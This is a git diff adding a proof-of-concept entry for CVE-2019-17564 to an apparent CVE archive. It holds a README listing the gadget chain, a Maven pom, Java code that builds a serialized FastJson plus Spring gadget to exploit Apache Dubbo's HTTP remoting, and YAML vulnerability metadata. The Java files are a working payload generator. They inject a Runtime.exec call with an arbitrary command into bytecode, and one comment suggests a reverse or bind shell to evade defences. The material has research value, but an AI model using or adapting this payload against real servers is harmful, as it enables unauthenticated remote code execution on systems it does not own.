diff --git a/cve/apache-Dubbo/2019/CVE-2019-17564/README.md b/cve/apache-Dubbo/2019/CVE-2019-17564/README.md new file mode 100644 index 0000000000000000000000000000000000000000..7aac4f51cf65c348738355d18fc23e52b1adf994 --- /dev/null +++ b/cve/apache-Dubbo/2019/CVE-2019-17564/README.md @@ -0,0 +1,29 @@ +# CVE-2019-17564 FastJson + SpringFramework Gadget for Dubbo 2.7.3 +Our full write-up is available at https://www.checkmarx.com/blog/apache-dubbo-unauthenticated-remote-code-execution-vulnerability + +Note that *this is not an exploit*; it is a POC gadget chain used in an exploit used to demonstrate deserialization in scopes containing certain dependencies. + +# Overview +Basic code for creating the Alibaba FastJson + Spring gadget chain, as used to exploit Apache Dubbo in CVE-2019-17564. This code will print, and locally deserialize, a gadget based on dependencies available in the scope of Dubbo 2.7.3, Dubbo Common 2.7.3, and Spring Framework + +# Gadget Chain Structure +1. HashMap.putVal(h,k,v) + a. The result of hashCode(), h, is identical for HotSwappableTargetSource objects, triggering a deeper equals() call on HashMap keys when a second value is inserted +2. HotSwappableTargetSource.equals() +3. XString.equals() +4. com.alibaba.fastjson.JSON.toString() +5. com.alibaba.fastjson.JSON.toJSONString() +6. com.alibaba.fastjson.serializer.MapSerializer.write() +7. TemplatesImpl.getOutputProperties() +8. TemplatesImpl.newTransformer() +9. TemplatesImpl.getTransletInstance() +10. TemplatesImpl.defineTransletClasses() +11. ClassLoader.defineClass() +12. Class.newInstance() +13. MaliciousClass.() +14. Runtime.exec() + +# Credits +Credits are in order to Chris Frohoff and Moritz Bechler for their research and tools (ysoserial and marshalsec), as some of their code was used in the gadget chain, and their research laid the foundation for this exploit. + +Credits are also in order to Checkmarx, who enable this type of research, and our fantastic research group for pitching ideas, reviewing, and bearing the fact that I won't shut up about this type of stuff. diff --git a/cve/apache-Dubbo/2019/CVE-2019-17564/pom.xml b/cve/apache-Dubbo/2019/CVE-2019-17564/pom.xml new file mode 100644 index 0000000000000000000000000000000000000000..b146abf97c140a809cbfa863e7cd9ea9c1661508 --- /dev/null +++ b/cve/apache-Dubbo/2019/CVE-2019-17564/pom.xml @@ -0,0 +1,44 @@ + + + 4.0.0 + + groupId + DubboGadget + 1.0-SNAPSHOT + + + + maven-compiler-plugin + 3.7.0 + + 1.8 + 1.8 + + + + + + + org.apache.dubbo + dubbo + 2.7.3 + + + org.apache.dubbo + dubbo-remoting-http + 2.7.3 + + + org.springframework + spring-web + 5.1.9.RELEASE + + + com.nqzero + permit-reflect + 0.4 + + + \ No newline at end of file diff --git a/cve/apache-Dubbo/2019/CVE-2019-17564/src/main/java/DubboGadget/DubboGadget.java b/cve/apache-Dubbo/2019/CVE-2019-17564/src/main/java/DubboGadget/DubboGadget.java new file mode 100644 index 0000000000000000000000000000000000000000..890073f6819142283a1cb5e5e2222686905887e0 --- /dev/null +++ b/cve/apache-Dubbo/2019/CVE-2019-17564/src/main/java/DubboGadget/DubboGadget.java @@ -0,0 +1,49 @@ +package DubboGadget; + +import com.alibaba.fastjson.JSONObject; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; + +public class DubboGadget { + // PoC OS Command to Execute + public static String DUBBO_RCE_COMMAND = "calc.exe"; + + public static void main(String[] args) throws Exception { + byte[] gadgetBytes = RCEObjectPayload(DUBBO_RCE_COMMAND); + printGadget(gadgetBytes); + // Test gadget locally + // execGadget(gadgetBytes); + } + + public static byte[] RCEObjectPayload(final String command) throws Exception { + Object templates = Utils.createTemplatesImpl(command); // TemplatesImpl gadget chain, which + // triggers Runtime.exec() on + // TemplatesImpl.newTransformer() + JSONObject jo = new JSONObject(); + jo.put("oops",templates); // If JSONObject.toString() is called, + // TemplatesImpl.newTransformer() will be invoked + Object o = Utils.makeXStringToStringTrigger(jo); // toString() gadget chain, which + // triggers on OIS deserialization + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(o); + byte[] gadgetBytes = baos.toByteArray(); + return gadgetBytes; + } + + public static void printGadget(byte[] gadgetBytes) { + System.out.println(new String(gadgetBytes)); + } + + public static void execGadget(byte[] gadgetBytes) throws Exception { + // Show serialized gadget in console + ByteArrayInputStream bais = new ByteArrayInputStream(gadgetBytes); + ObjectInputStream ois = new ObjectInputStream(bais); + Object oopsie = ois.readObject(); + oopsie.toString(); + } +} + diff --git a/cve/apache-Dubbo/2019/CVE-2019-17564/src/main/java/DubboGadget/Utils.java b/cve/apache-Dubbo/2019/CVE-2019-17564/src/main/java/DubboGadget/Utils.java new file mode 100644 index 0000000000000000000000000000000000000000..12e43a38fb1e8282daf9d4e13eea59530d132b65 --- /dev/null +++ b/cve/apache-Dubbo/2019/CVE-2019-17564/src/main/java/DubboGadget/Utils.java @@ -0,0 +1,199 @@ +package DubboGadget; + +import java.lang.reflect.*; + +import com.sun.org.apache.xpath.internal.objects.XString; +import org.springframework.aop.target.HotSwappableTargetSource; +import sun.reflect.ReflectionFactory; +import com.nqzero.permit.Permit; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +import java.io.Serializable; +import java.util.HashMap; +import java.util.Map; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + + +/* + * Utility class - based on code found in ysoserial, includes method calls used in + * ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were + * consolidated into a single util class for the sake of brevity; they are otherwise unchanged. + * + * Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger + * to create a toString trigger + * + * ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial + * marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec + */ +public class Utils { + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } + + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + + private static final long serialVersionUID = -5971610431559700674L; + + + public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} + + + @Override + public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } + + public static Object createTemplatesImpl ( final String command ) throws Exception { + if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { + return createTemplatesImpl( + command, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + } + + + public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) + throws Exception { + final T templates = tplClass.newInstance(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class)); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + String cmd = "java.lang.Runtime.getRuntime().exec(\"" + + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + + "\");"; + clazz.makeClassInitializer().insertAfter(cmd); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); + clazz.setSuperclass(superC); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Utils.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, Utils.classAsBytes(Utils.Foo.class) + }); + + // required to make TemplatesImpl happy + Utils.setFieldValue(templates, "_name", "Pwnr"); + Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } + + public static void setAccessible(AccessibleObject member) { + // quiet runtime warnings from JDK9+ + Permit.setAccessible(member); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + setAccessible(field); + } + catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + public static HashMap makeMap ( Object v1, Object v2 ) throws Exception { + HashMap s = new HashMap<>(); + Utils.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } + catch ( ClassNotFoundException e ) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Utils.setFieldValue(s, "table", tbl); + return s; + } + + public static Object makeXStringToStringTrigger(Object o) throws Exception { + XString x = new XString("HEYO"); + return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(x)); + } +} diff --git a/cve/apache-Dubbo/2019/yaml/ CVE-2019-17564.yaml b/cve/apache-Dubbo/2019/yaml/ CVE-2019-17564.yaml new file mode 100644 index 0000000000000000000000000000000000000000..2ae1946821aad57625ba6339d2e660e857b246ec --- /dev/null +++ b/cve/apache-Dubbo/2019/yaml/ CVE-2019-17564.yaml @@ -0,0 +1,21 @@ +id: CVE-2019-17564 +source: https://github.com/Dor-Tumarkin/CVE-2019-17564-FastJson-Gadget +info: + name: Dubbo是一个高性能优秀的服务框架。 + severity: CRITICAL + description: | + 不安全的反序列化发生在启用了HTTP远程处理的Dubbo应用程序中。攻击者可以提交包含 Java 对象的 POST 请求,以完全破坏 Apache Dubbo 的提供者实例(如果该实例启用了 HTTP)。此问题影响了 Apache Dubbo 2.7.0 到 2.7.4、2.6.0 到 2.6.7 以及所有 2.5.x 版本。 + scope-of-influence: + Dubbo 2.5.0-2.5.10 + Dubbo 2.6.0-2.6.7 + Dubbo 2.7.0-2.7.4 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-17564 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-17564 + cwe-id: CWE-502 + cnvd-id: None + kve-id: None + tags: cve2019, Dubbo \ No newline at end of file